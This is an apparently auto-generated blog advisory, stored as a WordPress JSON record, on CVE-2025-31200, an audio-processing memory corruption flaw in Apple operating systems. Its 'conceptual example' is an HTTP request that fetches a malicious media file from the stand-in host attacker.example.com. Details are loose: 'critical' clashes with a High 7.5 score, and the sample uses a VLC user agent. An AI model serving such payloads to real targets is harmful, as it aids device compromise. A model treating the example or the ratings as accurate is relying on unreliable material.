{"id":86220,"date":"2026-01-06T17:14:48","date_gmt":"2026-01-06T17:14:48","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-31200-critical-memory-corruption-vulnerability-in-apple-devices","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31200-critical-memory-corruption-vulnerability-in-apple-devices\/","title":{"rendered":"<strong>CVE-2025-31200: Critical Memory Corruption Vulnerability in Apple Devices<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This report discusses the critical vulnerability CVE-2025-31200, a memory corruption issue that affects Apple devices. This vulnerability is significant because it can potentially lead to system compromise or data leakage. It has also been reported that this vulnerability has been exploited in highly sophisticated attacks targeting specific individuals on iOS.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31200<br \/>\nSeverity: High (CVSS 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1140199044\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>tvOS | 18.4.1<br \/>\nvisionOS | 2.4.1<br \/>\niOS | iOS 18.4.1<br \/>\niPadOS | 18.4.1<br \/>\nmacOS Sequoia | 15.4.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a memory corruption issue in the processing of an audio stream in a maliciously crafted media file. This can potentially lead to arbitrary code execution. The attacker needs to trick the target into processing the malicious media file, for instance, by embedding it into a webpage or sending it via email.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-63055686\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. Note that this is not actual exploit code, but a simplified representation to illustrate the attack.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/malicious_media_file.m4a HTTP\/1.1\nHost: attacker.example.com\nUser-Agent: VLC\/3.0.8 LibVLC\/3.0.8\nAccept: *\/*\nReferer: http:\/\/attacker.example.com\/malicious_website.html<\/code><\/pre>\n<p>In the above example, the target plays the malicious media file hosted on the attacker&#8217;s server using a vulnerable version of an audio player. Once the file is processed, the exploit is triggered, leading to potential system compromise or data leakage.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This report discusses the critical vulnerability CVE-2025-31200, a memory corruption issue that affects Apple devices. This vulnerability is significant because it can potentially lead to system compromise or data leakage. It has also been reported that this vulnerability has been exploited in highly sophisticated attacks targeting specific individuals on iOS. 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